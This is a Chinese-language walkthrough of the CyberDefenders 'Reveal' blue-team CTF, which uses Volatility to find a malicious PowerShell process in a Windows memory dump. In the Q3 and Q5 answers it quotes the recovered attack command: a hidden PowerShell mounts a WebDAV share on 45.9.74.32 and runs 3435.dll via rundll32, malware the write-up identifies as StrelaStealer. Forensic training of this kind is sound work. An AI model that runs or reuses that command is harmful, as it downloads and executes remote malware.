---
# System prepended metadata

title: cyberdefenders Reveal

---

# 題目
[ 名稱 ] : reveal
[ 來源 ] : https://cyberdefenders.org/blueteam-ctf-challenges/reveal/
[ 說明 ]  : 
> 我是金融機構的網路安全分析師，我的 SIEM 平台發出警報，標記了內部工作站上的異常活動。為了不讓機敏資料洩漏，我們需要立即採取行動。
您的任務是深入研究受感染系統提供的記憶體轉儲。您需要確定基本的妥協指標 (IOC) 並確定入侵的程度。調查在環境中執行的惡意命令或文件，並詳細報告您的發現，以幫助修復和增強未來的防禦。

# 使用工具
- 使用工具
    - 介紹
        Volatility 是一個開源的記憶體鑑識框架，讓調查人員能夠從電腦的揮發性記憶體中提取和分析重要的資訊。分析電腦 RAM 的內容，可以看到正在運行的 process、網路連接、開啟的檔案和其他資料。
    - 常用指令
        - python vol.py -f 192-Reveal.dmp -h
            - Show this help message
        ![image](https://hackmd.io/_uploads/H1P3svcJyl.png)

        - python vol.py -f 192-Reveal.dmp frameworkinfo.FrameworkInfo
            - 可以顯示所有可用插件的工具或命令。
            - Volatility 會根據提供檔案的格式和內容，選擇並應用適合的 Layers 來解釋這些資料。這些 Layers 的作用是幫助 Volatility 正確理解記憶體內容
            ![image](https://hackmd.io/_uploads/r1s_TH230.png)
        - python vol.py -f 192-Reveal.dmp Windows.pslist.PsList
            - 此功能可以列出當前運行的所有 process。它提供了一個簡單的 process list，包括 process name、PID、記憶體使用情況等資訊。
            > 補充
            > windows.psscan.PsScan 可以發現已被刪除或隱藏的process，這些 process 可能不再出現在 PsList 的結果中
            > 
            > windows.pstree.PsTree 這個功能以樹狀結構的方式展示 process 之間的關係，根據父程序 ID 列出所有子程序。
        - python vol.py -f 192-Reveal.dmp windows.dumpfiles.DumpFiles
        - python vol.py -f 192-Reveal.dmp windows.cmdline > cmdlist
        - python vol.py -f 192-Reveal.dmp windows.netscan > netscan
        - python vol.py -f 192-Reveal.dmp windows.getsids.GetSIDs
            - SID （Security Identifier）。在作業系統中，用來唯一標識使用者、群組或其他像是服務的數值。每個 SID 是唯一的

:::info
- `PID 用來標識系統中每個正在運行的 process`
- `PPID 表示創建這個 process 的父程序的 PID。這可以幫助了解 process 的結構`
- `ImageFileName：執行檔名稱`
- Offset(V)：Process Control Block( PCB）它是指向Process 在記憶體中的位置。
- Threads：表示用了多少執行序
- Handles：表示有使用了多少系統資源
- SessionId：不知道
- `Wow64：欄位指示該 process 是否以 WoW64 模式運行`。WoW64（Windows 32-bit on Windows 64-bit）是一個允許 32 位應用程式在 64 位 Windows 系統上運行的子系統。如果此值為 True，則 process 是 32 位元
- `CreateTime：顯示 process 在系統上開始運行的時間戳。`
- ExitTime：process 已經終止的情況下才會顯示這個時間戳。如果進程仍在運行，這個欄位通常為空。
:::
# 解題
我們可以透過`frameworkinfo.FrameworkInfo`發現該記憶體使用的作業系統，以便後續查詢
![image](https://hackmd.io/_uploads/r1s_TH230.png)

#### Q1 惡意 PROCESS 的名稱是什麼？
由於題目想知道 process 名稱，因此透過`Windows.pslist.PsList`列出該記憶體中所有的 process，但是一堆 process 看不出他們做了甚麼，因此再去找了 cmd 紀錄 `windows.cmdline`，來獲取更多資訊。
![image](https://hackmd.io/_uploads/H1UBsH2h0.png)
![image](https://hackmd.io/_uploads/SkURLYq1yl.png)


從剛才獲得的資料中可以發現 pid 3692 這個 process 似乎在做可疑的事，他連線到一個 ip，並執行 3435.dll

因此判斷題目要求的惡意 PROCESS 的名稱是 powershell.exe
#### Q2 惡意 PROCESS 的父程序 PID 是多少？ aka ppid
可以根據 cmdline 找到的惡意程式 pid，對應 pslist 來找到 ppid 4120
![image](https://hackmd.io/_uploads/r1mZvF9JJe.png)


#### Q3 惡意軟體用來執行第二階段 payload 的檔案名稱是什麼？
根據 pid 3692 這個 process 提供的資訊，第二階段 payload 內容為 `rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry`
因此判斷第二階段 payload 的檔案名稱為 3435.dll
![image](https://hackmd.io/_uploads/BkeA1Y9J1x.png)

#### Q4 遠端伺服器上正在存取的共享目錄的名稱是什麼？
\davwwwroot
![image](https://hackmd.io/_uploads/BkeA1Y9J1x.png)

#### Q5 第二階段 payload 的 MITRE sub-technique ID 是什麼 ?
> MITRE ATT&CK 框架中的 Sub-technique ID（子技術編號）是用於描述網路攻擊行為的具體子技術的標識符
:::success
powershell.exe  -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry
:::
- powershell.exe -windowstyle hidden : 隱藏命令行
- net use \\45.9.74.32@8888\davwwwroot\ : net use 指令來嘗試將當前系統連接到位於遠程伺服器
- rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry : 加載並執行 DLL 文件中的惡意代碼

這題把 `rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry` 丟到chatgpt 可以找到 MITRE sub-technique ID : T1218.011

:::info
T1218.011 Sub-technique ID :
濫用 rundll32.exe 來代理惡意程式碼的執行
:::


#### Q6 惡意 PROCESS 運行的使用者名稱是什麼？
我利用 `windows.getsids.GetSIDs` 並搭配 grep [惡意程式的 pid] 來找到運行 process 的使用者 Elon
![image](https://hackmd.io/_uploads/SJKueFc1Jl.png)

解二 :
`python3 vol.py -f 192-Reveal.dmp windows.registry.userassist.UserAssist`
此指令用來從 Windows 註冊表中提取「UserAssist」資料。
UserAssist 是 Windows 用於追蹤用戶啟動應用程式和其他活動的機制。因為查詢結果只有 Elon 所以答案為 Elon
![image](https://hackmd.io/_uploads/HJe0pyw6J1e.png)


#### Q7 該惡意軟體家族的名稱是？
我利用與惡意程式連接的 IP 45.9.74.32 到 virustotal 找到他的種類 StrelaStealer
![image](https://hackmd.io/_uploads/HJ0iJv330.png)



